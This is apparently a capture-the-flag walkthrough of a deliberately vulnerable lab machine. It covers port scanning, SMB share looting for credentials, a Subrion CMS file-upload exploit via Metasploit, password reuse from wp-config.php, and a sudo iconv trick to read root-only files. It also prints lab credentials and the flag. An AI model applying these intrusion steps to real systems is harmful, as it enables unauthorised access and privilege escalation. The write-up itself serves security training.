Nmap Scan Reveals Open Ports
Our adventure begins with an Nmap scan of a target IP address, 10.10.94.239. The scan, initiated with the command nmap -p- -T4 10.10.94.239, reveals a plethora of valuable information:
Open port 22/tcp for SSH.
Open port 80/tcp for HTTP.
Open ports 139/tcp and 445/tcp for NetBIOS-SSN and Microsoft-DS, respectively.
The Nmap scan reports a host that is up with low latency. However, it also highlights 65531 closed TCP ports, indicating potential areas of exploration.
Webserver Investigation
Our next step is to delve into the webserver running on port 80. Upon accessing the webserver, we encounter the default page. To dig deeper, we deploy dirb to explore the server’s directory structure. The results provide a wealth of information:
http://10.10.94.239/index.html (CODE:200|SIZE:11321)
http://10.10.94.239/phpinfo.php (CODE:200|SIZE:95018)
http://10.10.94.239/server-status (CODE:403|SIZE:277)
http://10.10.94.239/test/ (Directory)
http://10.10.94.239/wordpress/ (Directory)
The existence of /wordpress/ piques our interest, suggesting the presence of a WordPress installation.
Unsuccessful WordPress Brute Force
Our determination to uncover weaknesses leads us to an attempt to brute force the WordPress login, but alas, this endeavor bears no fruit.
The Nmap scan, however, also reveals SMB running. We decide to explore this avenue by connecting with smbclient:
smbclient -L \\\\10.10.94.239
smbclient \\\\10.10.94.239\\websvr
smb: \> ls
. D 0 Sat May 29 03:17:38 2021
.. D 0 Sat May 29 03:03:47 2021
enter.txt N 273 Sat May 29 03:17:38 2021
8460484 blocks of size 1024. 5699996 blocks available
smb: \> mget enter.txt
Get file enter.txt? y
getting file \enter.txt of size 273 as enter.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \>
Access to files and directories within websvr is granted.
Discovery of “enter.txt”
Within the SMB share, we stumble upon a file named enter.txt. Its contents provide intriguing clues:
A plan to create a fake popup hosted on Digital Ocean.
Mention of issues with a “subrion site” and plans to edit it.
Reference to editing a WordPress website.
Credentials for Subrion: admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk
Notably, the subrion credentials appear to be encoded as Base64 and reveal the password: Scam2021.
Subrion Site Exploration
With newfound information in hand, we set out to explore the Subrion site. However, accessing it directly proves unsuccessful. We attempt to use wget to retrieve the site, but it redirects us to a different location.
A quick Google search helps us discover the Subrion admin panel at /subrion/panel/, where we successfully log in.
Gaining a Shell
Our next move involves exploiting a vulnerability in the Subrion CMS through Metasploit, resulting in a shell.
msf > use exploit/multi/http/subrion_cms_file_upload_rce
Once we have shell access, we upload linpeas to the /tmp directory for a thorough system analysis. The findings include valuable information from the WordPress configuration file:
Analyzing WordPress Files (limit 70)
-rwxr-xr-x 1 www-data www-data 2992 May 29 2021 /var/www/html/wordpress/wp-config.php
define( ‘DB_NAME’, ‘wpdb’ );
define( ‘DB_USER’, ‘support’ );
define( ‘DB_PASSWORD’, ‘ImAScammerLOL!123!’ );
define( ‘DB_HOST’, ‘localhost’ );
Escalating Privileges
The etc/passwd file reveals the existence of a user named scamsite. Armed with this knowledge, we attempt to log ind with ssh using the name “scamsite” and password ” ImAScammerLOL!123!” and it works.
Running sudo -l show:
User scamsite can run /usr/bin/iconv with sudo privileges.
A quick search on GTFOBins provides us with the means to read the coveted root.txt.
scamsite@TechSupport:/usr/bin$ LFILE=/root/root.txt
scamsite@TechSupport:/usr/bin$ sudo ./iconv -f 8859_1 -t 8859_1 “$LFILE”
851b8233a8c09400ec30651bd1529bf1ed02790b –
scamsite@TechSupport:/usr/bin$